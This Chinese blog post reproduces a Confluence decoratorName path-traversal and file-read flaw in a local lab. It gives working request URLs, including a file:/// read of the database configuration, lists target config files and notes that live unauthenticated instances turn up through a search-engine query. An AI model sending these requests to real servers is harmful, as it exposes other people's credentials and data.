正在阅读:

Atlassian Confluence信息泄露漏洞

11,965

描述:

Atlassian Confluence是澳大利亚Atlassian公司的一套专业的企业知识管理与协同软件,也可以用于构建企业WiKi。该软件可实现团队成员之间的协作和知识共享。

Atlassian Confluence 5.8.17之前版本中存在安全,该漏洞源于spaces/viewdefaultdecorator.action和admin/viewdefaultdecorator.action文件没有充分过滤'decoratorName'参数。远程攻击者可利用该漏洞读取配置文件。

恰好之前本地有一套Confluence的环境,于是就测试了一番:

默认情况下,访问spaces/viewdefaultdecorator.action是需要一个用户登录的;

admin/viewdefaultdecorator.action 特么还需要是管理员登录,特么都管理员,我们就不搞读文件了。

本地验证:

1. decoratorName= 什么都没有

1

这个时候访问的是:\Atlassian\Confluence\confluence\WEB-INF\classes

2. decoratorName=.

/spaces/viewdefaultdecorator.action?decoratorName=.

2

这时候访问的是:\Atlassian\Confluence\lib

3. decoratorName=../../

3

Atlassian\Confluence\confluence 网页程序目录,根据CVE的描述,远程攻击者可利用该漏洞读取配置文件,比如WEB-INF/web.xml

4

看上面../../都可以跳目录了.

4. decoratorName=../../../

5

报错了。..//..// ../..//../ 尝试了都没有出去别的目录。

不会真的如https://www.exploit-db.com/exploits/39170/所说,只能读读配置文件吧:

/WEB-INF/decorators.xml

/WEB-INF/glue-config.xml

/WEB-INF/server-config.wsdd

/WEB-INF/sitemesh.xml

/WEB-INF/urlrewrite.xml

/WEB-INF/web.xml

/databaseSubsystemContext.xml

/securityContext.xml

/services/statusServiceContext.xml

com/atlassian/confluence/security/SpacePermission.hbm.xml

com/atlassian/confluence/user/OSUUser.hbm.xml

com/atlassian/confluence/security/ContentPermissionSet.hbm.xml

com/atlassian/confluence/user/ConfluenceUser.hbm.xml

其实在本地的环境验证发现还可以使用file

5. decoratorName=file:///c:/ 我本地环境是windows

6

数据库的配置文件:

http://ip:28090/spaces/viewdefaultdecorator.action?decoratorName=file:///d:/Atlassian/Application Data/Confluence/confluence.cfg.xml

7

在搜索引擎搜索 “Powered by Atlassian Confluence 面板”还是可以找到不需要登录的,比如:

某个叫上市公司的某个部门

8

某个办公软件的厂商的测试环境

9

附注:linux环境由于运行用户权限的限制,不是root,读取不了某些文件的。

本地测试的环境Atlassian Confluence 5.1.4 windows server 2003

原文转自:http://www.voidcn.com/article/p-hsobmrro-ko.html

参考URL:https://www.ilanni.com/?p=11989

目前有:2条访客评论

  1. 三月来风
    2017-10-18 12:47

    按你的方法操作了一下,没有成功。

  2. lz
    2018-03-23 19:09

    在学渗透。不过很多不懂。能大神交流下不。15879440889 微信

留下脚印,证明你来过。

*

*

流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌